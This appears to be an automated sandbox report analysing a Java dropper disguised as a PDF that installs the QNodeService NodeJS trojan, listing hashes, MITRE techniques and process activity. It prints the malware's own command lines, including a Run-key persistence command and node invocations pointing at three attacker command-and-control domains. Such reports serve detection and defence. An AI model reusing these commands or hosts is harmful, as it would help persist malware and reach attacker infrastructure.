qnodeservice | a002f82ab804aa9976005619bc75c26345006c67a454b39fe0e404a14af7f705

General

Target

Ref Swift Amount.pdf.jar
Size

13KB
MD5

0116bbe99adfdb7f0e2c6e1fefe10642
SHA1

c8208c0da417f08fc5d60b426cb3e9c68de3bdc3
SHA256

a002f82ab804aa9976005619bc75c26345006c67a454b39fe0e404a14af7f705
SHA512

bccb6c0146f19fa26c5cf721c19c8a7e9f4925614f3528dea73c181c1f1ed0043c440d0b26a73779e3dd8e117bb01c6996fe2c0db69445fae379f41c485cff6b

Score

10^/10

Malware Config

Signatures

Loads dropped DLL 4 IoCs

pid	Process
3900	node.exe
3900	node.exe
3900	node.exe
3900	node.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3900	node.exe
3900	node.exe

QNodeService
is a trojan written in NodeJS and spread via Java downloader. Utilizes stealer functionality.
trojan qnodeservice

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Executes dropped EXE 2 IoCs

pid	Process
3824	node.exe
3900	node.exe

QNodeService NodeJS Trojan 1 IoCs

resource	yara_rule
behavioral2/files/0x000100000001bfee-115.dat	family_qnodeservice

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
10	wtfismyip.com
11	wtfismyip.com

Adds Run entry to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\qnodejs-1ed5dcf4 = "cmd /D /C \"C:\\Users\\Admin\\qnodejs-node-v13.13.0-win-x64\\qnodejs\\qnodejs-1ed5dcf4.cmd\""	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3576 wrote to memory of 3824	3576	java.exe	68
PID 3576 wrote to memory of 3824	3576	java.exe	68
PID 3824 wrote to memory of 1100	3824	node.exe	69
PID 3824 wrote to memory of 1100	3824	node.exe	69
PID 1100 wrote to memory of 1264	1100	cmd.exe	70
PID 1100 wrote to memory of 1264	1100	cmd.exe	70
PID 3824 wrote to memory of 3900	3824	node.exe	71
PID 3824 wrote to memory of 3900	3824	node.exe	71

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\Ref Swift Amount.pdf.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:3576
- C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
  C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js start --group user:[email protected] --register-startup --central-base-url https://mparrain10.ddns.net --central-base-url https://dabadaba.theworkpc.com --central-base-url https://mparrain10.duckdns.org
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-1ed5dcf4" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-1ed5dcf4.cmd\"""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1100
  - - C:\Windows\system32\reg.exe
      REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-1ed5dcf4" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-1ed5dcf4.cmd\""
      4⤵
      Adds Run entry to start application
      PID:1264
- - C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
    C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js serve start --group user:[email protected] --register-startup --central-base-url https://mparrain10.ddns.net --central-base-url https://dabadaba.theworkpc.com --central-base-url https://mparrain10.duckdns.org
    3⤵
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Checks processor information in registry
    - Executes dropped EXE
    PID:3900

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3824-114-0x000002E3A9740000-0x000002E3A9741000-memory.dmp

Filesize
4KB

Download
memory/3900-120-0x000000D953F00000-0x000000D953F01000-memory.dmp

Filesize
4KB

Download

Analysis

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